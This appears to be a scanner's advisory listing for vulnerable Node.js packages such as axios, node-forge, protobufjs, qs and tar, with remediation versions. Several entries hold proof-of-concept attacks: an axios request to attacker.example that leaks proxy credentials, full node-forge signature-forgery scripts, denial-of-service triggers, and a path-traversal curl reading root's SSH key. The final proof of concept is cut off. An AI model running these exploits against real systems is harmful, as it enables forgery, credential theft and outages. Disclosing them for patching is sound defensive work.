Find, fix and prevent vulnerabilities in your code.

Overview

@grpc/grpc-js is a gRPC Library for Node

Affected versions of this package are vulnerable to Uncaught Exception via the handling of invalid incoming HTTP/2 stream initiation. An attacker can cause the server process to crash by sending a specially crafted malformed request.

Remediation

Upgrade @grpc/grpc-js to version 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, 1.14.4 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

@grpc/grpc-js is a gRPC Library for Node

Affected versions of this package are vulnerable to Uncaught Exception through the handling of incoming compressed messages. An attacker can cause the process to crash by sending a malformed compressed message.

Remediation

Upgrade @grpc/grpc-js to version 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, 1.14.4 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the recursive AST walkers, which lack depth guards. An attacker can supply deeply nested brace patterns that stay within the character limit to exhaust the call stack and crash the Node.js process with an uncaught RangeError.

Remediation

There is no fixed version for braces.

References

• GitHub Issue
• Vulnerable Code
• Vulnerable Code
• Vulnerable Code

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the pkcs12.pkcs12FromAsn1 function in lib/pkcs12.js and the pki.pbe.generatePkcs12Key key derivation in lib/pbe.js. An attacker can alter a PFX file, substitute certificates or an unencrypted private key, and compute a MAC that verifies under any password, by setting MacData.iterations to zero or less, because the PKCS#12 key derivation then runs its hash loop zero times and returns a constant that does not depend on the password or salt (the MAC key becomes the diversifier byte 0x03 repeated 20 times, and PBE derives constant key and IV bytes 0x01 and 0x02). This affects applications that import PKCS#12/PFX files or PKCS#8 encrypted keys from untrusted sources and rely on the MAC or on successful decryption to establish provenance, while PBES2 (PBKDF2) encrypted content is unaffected.

Remediation

Upgrade node-forge to version 1.4.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in the ed25519.verify function. An attacker can bypass authentication and authorization logic by submitting forged non-canonical signatures where the scalar S is not properly validated, allowing acceptance of signatures that should be rejected according to the specification.

PoC

#!/usr/bin/env node
'use strict';

const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
    throw new Error('signature must be a 64-byte Buffer');
  }
  const out = Buffer.from(signature);
  let carry = 0;
  for (let i = 0; i < 32; i++) {
    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
    out[idx] = sum & 0xff;
    carry = sum >> 8;
  }
  return { sig: out, carry };
}

function toSpkiPem(publicKeyBytes) {
  if (publicKeyBytes.length !== 32) {
    throw new Error('publicKeyBytes must be 32 bytes');
  }
  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}

function verifyWithCrypto(publicKey, message, signature) {
  try {
    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
    const ok = crypto.verify(null, message, keyObject, signature);
    return { ok };
  } catch (error) {
    return { ok: false, error: error.message };
  }
}

function toResult(label, original, tweaked) {
  return {
    [label]: {
      original_valid: original.ok,
      tweaked_valid: tweaked.ok,
    },
  };
}

function main() {
  const kp = ed.generateKeyPair();
  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
  const tweaked = addLToS(sig);
  const okTweaked = ed.verify({
    message: MESSAGE,
    signature: tweaked.sig,
    publicKey: kp.publicKey,
  });
  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
  const result = {
    ...toResult('forge', { ok }, { ok: okTweaked }),
    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
  };
  console.log(JSON.stringify(result, null, 2));
}

main();

Remediation

Upgrade node-forge to version 1.4.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in ASN.1 structures during RSA signature verification. An attacker can bypass signature verification and inject forged signatures by crafting ASN.1 data with extra fields or insufficient padding, allowing unauthorized actions or data integrity violations.

Note:

This is only exploitable if the default verification scheme (RSASSA-PKCS1-v1_5) is used with the _parseAllDigestBytes: true setting (which is the default).

PoC

#!/usr/bin/env node
'use strict';

const crypto = require('crypto');
const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
//   SEQUENCE { OID sha256, NULL },
//   OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
  '300d060960864801650304020105000420',
  'hex'
);

const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
  let h = n.toString(16);
  if (h.length % 2) h = '0' + h;
  const b = Buffer.from(h, 'hex');
  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
  let lo = 0n;
  let hi = 1n;
  while (hi * hi * hi <= n) hi <<= 1n;
  while (lo + 1n < hi) {
    const mid = (lo + hi) >> 1n;
    if (mid * mid * mid <= n) lo = mid;
    else hi = mid;
  }
  return lo;
}
const cbrtCeil = n => {
  const f = cbrtFloor(n);
  return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
  if (len < 0x80) return Buffer.from([len]);
  if (len <= 0xff) return Buffer.from([0x81, len]);
  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}

function forgeStrictVerify(publicPem, msg, sig) {
  const key = forge.pki.publicKeyFromPem(publicPem);
  const md = forge.md.sha256.create();
  md.update(msg.toString('utf8'), 'utf8');
  try {
    // verify(digestBytes, signatureBytes, scheme, options):
    // - digestBytes: raw SHA-256 digest bytes for `msg`
    // - signatureBytes: binary-string representation of the candidate signature
    // - scheme: undefined => default RSASSA-PKCS1-v1_5
    // - options._parseAllDigestBytes: require DER parser to consume all bytes
    //   (this is forge's default for verify; set explicitly here for clarity)
    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
  } catch (err) {
    return { ok: false, err: err.message };
  }
}

function main() {
  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 4096,
    publicExponent: 3,
    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
  });

  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
  const nBytes = Buffer.from(jwk.n, 'base64url');
  const n = toBig(nBytes);
  const e = toBig(Buffer.from(jwk.e, 'base64url'));
  if (e !== 3n) throw new Error('expected e=3');

  const msg = Buffer.from('forged-message-0', 'utf8');
  const digest = crypto.createHash('sha256').update(msg).digest();
  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);

  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
  const k = nBytes.length;
  // ffCount can be set to any value at or below 111 and produce a valid signature.
  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
  // However, current versions of node forge do not check for this.
  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
  const ffCount = 0; 
  // `garbageLen` affects DER length field sizes, which in turn affect how
  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
  // A small cap (8) is enough here: DER length-size transitions are discrete
  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
  let garbageLen = 0;
  for (let i = 0; i < 8; i += 1) {
    const gLenEnc = derLen(garbageLen).length;
    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
    const seqLenEnc = derLen(seqLen).length;
    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
    const next = k - fixed;
    if (next === garbageLen) break;
    garbageLen = next;
  }
  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
  const prefix = Buffer.concat([
    Buffer.from([0x00, 0x01]),
    Buffer.alloc(ffCount, 0xff),
    Buffer.from([0x00]),
    Buffer.from([0x30]), derLen(seqLen),
    algAndDigest,
    Buffer.from([0x04]), derLen(garbageLen)
  ]);

  // Build the numeric interval of all EM values that start with `prefix`:
  // - `low`  = prefix || 00..00
  // - `high` = one past (prefix || ff..ff)
  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
  const suffixLen = k - prefix.length;
  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
  const high = low + (1n << BigInt(8 * suffixLen));
  const s = cbrtCeil(low);
  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

  const sig = toBuf(s, k);

  const controlMsg = Buffer.from('control-message', 'utf8');
  const controlSig = crypto.sign('sha256', controlMsg, {
    key: privateKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  });

  // forge verification calls (library under test)
  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
  const forgedForge = forgeStrictVerify(publicKey, msg, sig);

  // Node.js verification calls (OpenSSL-backed reference behavior)
  const controlNode = crypto.verify('sha256', controlMsg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, controlSig);
  const forgedNode = crypto.verify('sha256', msg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, sig);

  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
  console.log('control-node:', controlNode);
  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
  console.log('forgery (node/OpenSSL):', forgedNode);
}

main();

Remediation

Upgrade node-forge to version 1.4.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in rsa.js, whose DigestInfo validation checks the outer element count (obj.value.length !== 2) but never verifies the element count of the inner DigestAlgorithm SEQUENCE, so the ASN.1 parser accepts extra children that are ignored during digest extraction. An attacker can forge a signature that verifies as valid for an arbitrary message, without the private key, by fixing the target digest at the block boundaries and filling roughly 314 garbage bytes inside the DigestAlgorithm structure to absorb the mathematical residue. This only affects verification against RSA keys with a low public exponent such as e=3, and although _parseAllDigestBytes defaults to true and rejects trailing garbage, it does not detect this interior padding.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-33894 and, as of this publication, has not been acknowledged by project maintainers.

Remediation

Upgrade node-forge to version 1.4.1 or higher.

References

• GitHub Advisory
• github.com
• github.com
• GitHub Issue

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Infinite loop via the modInverse function. An attacker can cause the application to hang indefinitely and consume excessive CPU resources by supplying a zero value as input, resulting in an infinite loop.

PoC

'use strict';
const { spawnSync } = require('child_process');

const childCode = `
  const forge = require('node-forge');
  // jsbn may not be auto-loaded; try explicit require if needed
  if (!forge.jsbn) {
    try { require('node-forge/lib/jsbn'); } catch(e) {}
  }
  if (!forge.jsbn || !forge.jsbn.BigInteger) {
    console.error('ERROR: forge.jsbn.BigInteger not available');
    process.exit(2);
  }
  const BigInteger = forge.jsbn.BigInteger;
  const zero = new BigInteger('0', 10);
  const mod = new BigInteger('3', 10);
  // This call should throw or return 0, but instead loops forever
  const inv = zero.modInverse(mod);
  console.log('returned: ' + inv.toString());
`;

console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();

const result = spawnSync(process.execPath, ['-e', childCode], {
  encoding: 'utf8',
  timeout: 5000,
});

if (result.error && result.error.code === 'ETIMEDOUT') {
  console.log('[VULNERABLE] Child process timed out after 5s');
  console.log('  -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
  process.exit(0);
}

if (result.status === 2) {
  console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
  console.log('  -> Check your node-forge installation');
  process.exit(1);
}

if (result.status === 0) {
  console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
  process.exit(1);
}

console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log('  stderr:', result.stderr.trim());
process.exit(1);

Remediation

Upgrade node-forge to version 1.4.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to NULL Pointer Dereference in the _readRecord function in lib/tls.js. An attacker can terminate the peer's Node.js process by sending a handshake message fragmented across records and then interleaving a record of another content type such as an alert, change_cipher_spec, application_data, or heartbeat, because the resulting fatal error sets c.record to null while _readRecord() continues and assigns c.record.ready = true, throwing an uncaught TypeError out of process(). This affects any forge.tls connection in server or client mode, including those from wrapSocket, forge.http, and forge.xhr, and the crash lands when process() is driven from a Node.js socket data handler as in the documented usage.

Remediation

Upgrade node-forge to version 1.4.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the pem.decode function in lib/pem.js. A remote attacker can block the Node.js event loop for seconds to minutes with an input of a few tens of kilobytes, because the message regex takes polynomial time on PEM text that contains no matching END line. This requires the application to pass untrusted PEM to a parsing entry point such as pki.certificateFromPem(), pki.privateKeyFromPem(), or pkcs7.messageFromPem(), as in a service that accepts uploaded certificates, keys, CSRs, or SAML metadata.

Workaround

This vulnerability can be avoided by rejecting untrusted PEM input above a few kilobytes before passing it to the parser, which shortens but does not eliminate the delay (on 1.4.0, roughly 7 KB blocks for 0.4 s and 29 KB for 24 s).

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade node-forge to version 1.4.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Uncontrolled Recursion via the fromDer function in asn1.js, which lacks recursion depth. An attacker can cause stack exhaustion and disrupt service availability by submitting specially crafted, deeply nested DER-encoded ASN.1 data.

Remediation

Upgrade node-forge to version 1.3.2 or higher.

References

• GitHub Commit

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the TLS record processing in lib/tls.js, where connection.process() and the per-record-type handlers it dispatches through ctTable (tls.handleHeartbeat, tls.handleApplicationData, tls.handleHandshake, tls.handleHelloRequest) re-enter process() for each record. An attacker can exhaust the call stack and terminate the peer's Node.js process by sending many small TLS records in a single chunk, roughly 2,300 eight-byte records in under 20 KB on Node.js 24, since each record adds a stack frame rather than being handled in a loop. This affects any forge.tls connection in server or client mode, including those from wrapSocket, forge.http, and forge.xhr, needs no handshake because heartbeat records are processed first, and in a browser is confined to the attacked connection while a Node.js process crash drops every connection it serves.

Remediation

Upgrade node-forge to version 1.4.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the asn1.fromDer function in lib/asn1.js. An attacker can drive CPU and memory high enough to abort the Node.js process with a small DER or PEM structure containing nested BIT STRINGs, because the default BIT STRING decode path in _fromDer() starts with an options object that omits maxDepth, so the depth check compares against undefined and never fires, and each nested BIT STRING's contents are deep-copied by asn1.create(), making memory grow quadratically with nesting depth. This triggers under default options through any API that parses DER or PEM, including pki.certificateFromPem(), pki.publicKeyFromPem(), the PKCS#7, PKCS#8, and PKCS#12 loaders, and server certificates received by the forge TLS client.

Workaround

This vulnerability can be avoided by direct callers of forge.asn1.fromDer() passing {decodeBitStrings: false}, which stops the nested decode but changes the parsed structure, so it does not help the higher-level PKI, PKCS, and TLS APIs that do not expose the option.

Note: This is a bypass of the fix for the vulnerability described in CVE-2025-66031.

Remediation

Upgrade node-forge to version 1.4.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

protobufjs is a protocol buffer for JavaScript (& TypeScript).

Affected versions of this package are vulnerable to Arbitrary Code Injection in the toObject function when handling a schema-controlled bytes field default value. An attacker can execute arbitrary JavaScript code by providing a crafted descriptor with a malicious default value for a bytes field, which is then used in the generated conversion function.

Remediation

Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

protobufjs is a protocol buffer for JavaScript (& TypeScript).

Affected versions of this package are vulnerable to Arbitrary Code Injection via the pbjs static code generation. An attacker can execute arbitrary code by providing crafted schema names that are incorporated into generated JavaScript output, which is then executed or imported by the application or build process.

Remediation

Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

protobufjs is a protocol buffer for JavaScript (& TypeScript).

Affected versions of this package are vulnerable to Uncontrolled Recursion through unbounded recursion when decoding nested message fields. An attacker can exhaust the call stack and cause the application to crash by supplying specially crafted protobuf binary data containing deeply nested structures.

Workaround

This vulnerability can be mitigated by rejecting excessively nested messages at an outer protocol boundary or isolating protobuf decoding in a process that can be safely restarted.

Remediation

Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

protobufjs is a protocol buffer for JavaScript (& TypeScript).

Affected versions of this package are vulnerable to Uncontrolled Recursion during the JSON conversion. An attacker can exhaust the call stack and cause the application to crash by supplying crafted protobuf binary data containing deeply nested Any values that are expanded during conversion. This is only exploitable if the application decodes attacker-influenced protobuf binary data, the schema includes google.protobuf.Any, the referenced type_url resolves to a loaded message type, and the application converts the decoded message to JSON or a plain object through an affected conversion path with deeply nested Any values.

Remediation

Upgrade protobufjs to version 7.6.1, 8.4.1 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.

Remediation

Upgrade tar to version 7.5.19 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.

Remediation

Upgrade tar to version 7.5.18 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Infinite loop via the removeDotSegments function, which loops infinitely when a path segment begins with Unicode line separators (U+2028) or paragraph separators (U+2029). An attacker can trigger this by passing such a path to removeDotSegments directly, or through the normalize or resolve functions with IRI handling enabled, blocking the Node.js event loop indefinitely until heap exhaustion.

Remediation

There is no fixed version for uri-js.

References

• GitHub Issue
• Vulnerable Code
• Vulnerable Code

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.8 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the customDecodeURIComponent function, which uses a quadratic replacement loop over percent-encoded runs. An attacker can supply a large input string containing many distinct percent-encoded sequences followed by a malformed token (e.g. %zz) to force the fallback decoder path, causing the replacement loop to iterate over an ever-growing replace map and take exponential time - approximately 20 seconds for a ~224 KB payload.

PoC

import decodeUriComponent from 'decode-uri-component';

let payload = '';
for (let i = 0; i < 32000; i++) {
    const high = Math.floor(i / 256).toString(16).padStart(2, '0');
    const low = (i % 256).toString(16).padStart(2, '0');
    payload += `%${high}%${low}x`; // distinct run each iteration
}
payload += '%zz'; // forces the fallback decoder

console.time('decode');
